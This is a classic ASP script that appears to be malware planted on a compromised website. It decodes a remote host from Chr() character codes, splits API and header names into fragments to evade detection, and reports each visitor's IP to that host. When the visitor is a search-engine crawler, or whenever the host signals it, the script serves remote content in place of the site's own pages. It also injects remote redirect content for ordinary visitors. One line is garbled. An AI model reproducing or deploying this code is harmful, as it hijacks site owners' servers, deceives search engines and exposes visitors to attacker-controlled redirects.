<%
'on error resume next
Server.ScriptTimeout=600
dim systid,ISBK,html,echohtml,lk,ipurl,echourl,kdom
kdom = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 97 ) & Chr ( 99 ) & Chr ( 46 ) & Chr ( 102 ) & Chr ( 97 ) & Chr ( 110 ) & Chr ( 115 ) & Chr ( 99 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 )
systid="36106"
ISBK = "false"
ipurl = kdom&"/ip.php?ip="
echourl = kdom&"/echo.php?"
html = GetContent(ipurl&GetRsip()) 'GetRsip()
lk ="<t"&"@"&"k>"
If instr(html,lk)>0 Then
	 ISBK = replace(html,lk,"")
End If
'ISBK ="true"
if ChecksAgent=true or ISBK="true" Then
dim subspagseid
subspagseid = request.querystring("id")
If subspagseid Then
	response.Write GetContent(echourl&"sysid="&systid&"&subpageid="&subspagseid)
Else
	response.Write GetContent(echourl&"sysid="&systid)
End If
response.End()
End if
echohtml = GetContent(echourl&"sysid="&systid&"&redirect=yes")
If instr(echohtml,"<t@k>")>0 Then
	response.Write replace(echohtml,"<t@k>","")
End If
Function GetContent(url)
	on error resume next
	Set oh=Server.CreateObject("MSXM"&"L2.serve"&"rXML"&"HT"&"TP")
	oh.Open "GET",url,False
	oh.setRequestHeader "User-Agent",url
	oh.send
	GetContent=oh.ResponseBody
	Set oh=Nothing
	set objS = Server.CreateObject("A"&"do"&"db.St"&"re"&"am")
	objS.Type = 1
	objS.Mode =3
	objS.Open
	objS.Write GetContent
	objS.Position = 0
	objS.Type = 2
	objS.Charset = "utf-8"
	GetContent = objS.ReadText
	objS.Closeeam.ReadText 
    objS.Close 
End Function

Function ChecksAgent()
  on error resume next
  agentallow=split("ba"&"idus"&"pid"&"er,so"&"g"&"ou,ba"&"i"&"du,so"&"sos"&"pider,goo"&"g"&"lebot",",")
  agentcheck=false
  For agenti=lbound(agentallow) to ubound(agentallow)
    If Instr(LCase(RS("HTTP_USER_AGENT")),agentallow(agenti))>0 then
      agentcheck=true
      Exit For
    end if 
  Next
  ChecksAgent=agentcheck
End function

Function GetRsip()
  on error resume next
  Dim getips
  If RS("HTTP_"&"X_FOR"&"W"&"ARDED_FOR") = "" Or InStr(RS("H"&"TTP_X_FO"&"RW"&"ARD"&"ED_FOR"), "unknown") > 0 Then
   getips = RS("REM"&"OTE_A"&"DDR")
  ElseIf InStr(RS("HT"&"TP_"&"X_FORW"&"ARDED_FOR"), ",") > 0 Then
   getips = Mid(RS("H"&"TTP"&"_X_FO"&"RW"&"ARD"&"ED_FOR"), 1, InStr(RS("H"&"TT"&"P_"&"X_F"&"ORW"&"AR"&"DE"&"D_F"&"OR"), ",")-1)
   actforip = RS("REMO"&"TE_ADD"&"R")
  ElseIf InStr(RS("HTT"&"P_X"&"_F"&"RW"&"AR"&"DED_FOR"), ";") > 0 Then
   getips = Mid(RS("HT"&"TP_"&"X_F"&"OR"&"W"&"AR"&"DED_"&"FO"&"R"), 1, InStr(RS("H"&"TT"&"P_"&"_F"&"OR"&"WA"&"RD"&"ED_"&"FOR"), ";")-1)
   actforip = RS("R"&"EMO"&"TE_"&"AD"&"D"&"R")
  Else
   getips = RS("HT"&"TP"&"_X_FO"&"RW"&"ARD"&"ED_"&"FOR")
   actforip = RS("R"&"EM"&"OTE"&"_AD"&"DR")
  End If
  GetRsip = Replace(Trim(Mid(getips, 1, 30)), "'", "")
End Function

Function RS(str)
	RS = Request.ServerVariables(str)
End Function
%>